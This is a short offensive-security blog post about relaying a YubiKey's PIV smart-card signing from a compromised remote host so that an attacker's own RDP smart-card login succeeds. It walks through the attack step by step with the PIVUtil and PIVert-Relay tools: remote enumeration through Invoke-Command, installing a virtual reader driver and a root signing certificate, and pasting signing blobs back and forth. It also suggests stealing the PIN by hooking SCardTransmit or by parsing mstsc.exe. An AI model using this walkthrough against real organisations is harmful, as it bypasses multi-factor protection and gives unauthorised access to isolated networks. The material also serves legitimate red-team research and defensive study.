Relaying YubiKeys

2 minute read

We are not relaying actual physical YubiKeys, we are relaying the APDU packets that the server application wants to get signed by a private key to verify the identity of the authentication so this attack works on all PIV Smart Cards but a YubiKey was used during the testing so therefore the title.

Isolated networks or sensitive services often have an additional authentication factor and some organizations are choosing to use YubiKeys or other PIV-supported devices to be their second factor. The private key on a YubiKey is protected and non-exportable so to give ourselves access to those isolated networks/services we can use an already-inserted YubiKey on a remote host and make that to authenticate our session in a relay attack.

The picture below demonstrates the attack flow.

Before we can execute our relaying attack the need to know the PIN, public certificate, and slot. A PIN can be found anywhere, I’ve seen it in LastPass databases, and chat/email conversations, and it’s also possible to steal it from the workstation by hooking the SCardTransmit function during a new connection(poc) or parse the mstsc.exe process on an existing connection(poc) to get the PIN.

PIVUtil can be used to list connected smart card devices and enumerate their public certificate and slot

> Invoke-Command $s {PIVUtil.exe list}
[*] Yubico Yubikey 4 OTP+U2F+CCID 0

> Invoke-Command $s {PIVUtil.exe 'Yubico Yubikey 4 OTP+U2F+CCID 0'}
[*] Using smartcard: Yubico Yubikey 4 OTP+U2F+CCID 0
[*] Public Auth (cert) Slot 9A:
[*] Public Card Auth (cert) Slot 9E:

Now from our attacker machine, we start PIVert-Relay.exe "<public cert>" "<slot>" (the arguments may need to be quoted or it can read the certificate wrong)

> PIVert-Relay.exe install
[=] Writing BixVReader.ini config to C:\Windows
[=] Installing driver signing certificate into Root and Trusted Publishers local machine store
[=] Installing driver MSI
[+] Installer completed

> PIVert-Relay.exe '30820609308204F1A0030201020213140000000A5A24093BC2E3DB0900000000000A300D06092A864886F70D01010B0500304531153013060A0<SNIP>47FEC00F4DE64C6' '9A'
[=] Connected to Smartcard Data Pipe
[=] Connected to Smartcard Event Pipe

start mstsc.exe and specify we want to authenticate using Smart Card Credentials, click connect and PIVert-Relay.exe will print the data that it wants to be signed. So copy the value of that to the remote host, execute PIVUtil.exe <smart card name> <PIN> <PIVert-Relay output> and paste the output to PIVert-Relay console

<PIVert-Relay.exe console>

[*] Enter signed blob

<on victim>

[*]Using smartcard: Yubico Yubikey 4 OTP+U2F+CCID 0
[*]Using pin: 12341234

RDP will request multiple tickets to sign but after redoing the steps above we have a session established!

This attack would perhaps be smoother if PIVUtil.exe and PIVert-Relay communicated over a named pipe to automate the data signing process or having PIVUtil.ex as a BOF but this is meant to be a over-weekend PoC so idc :D


Having a non-exportable private key seems pretty useless when you just can relay any APDU packet and have it signed by the private key, the only thing it protects against is persistence.

Tools available at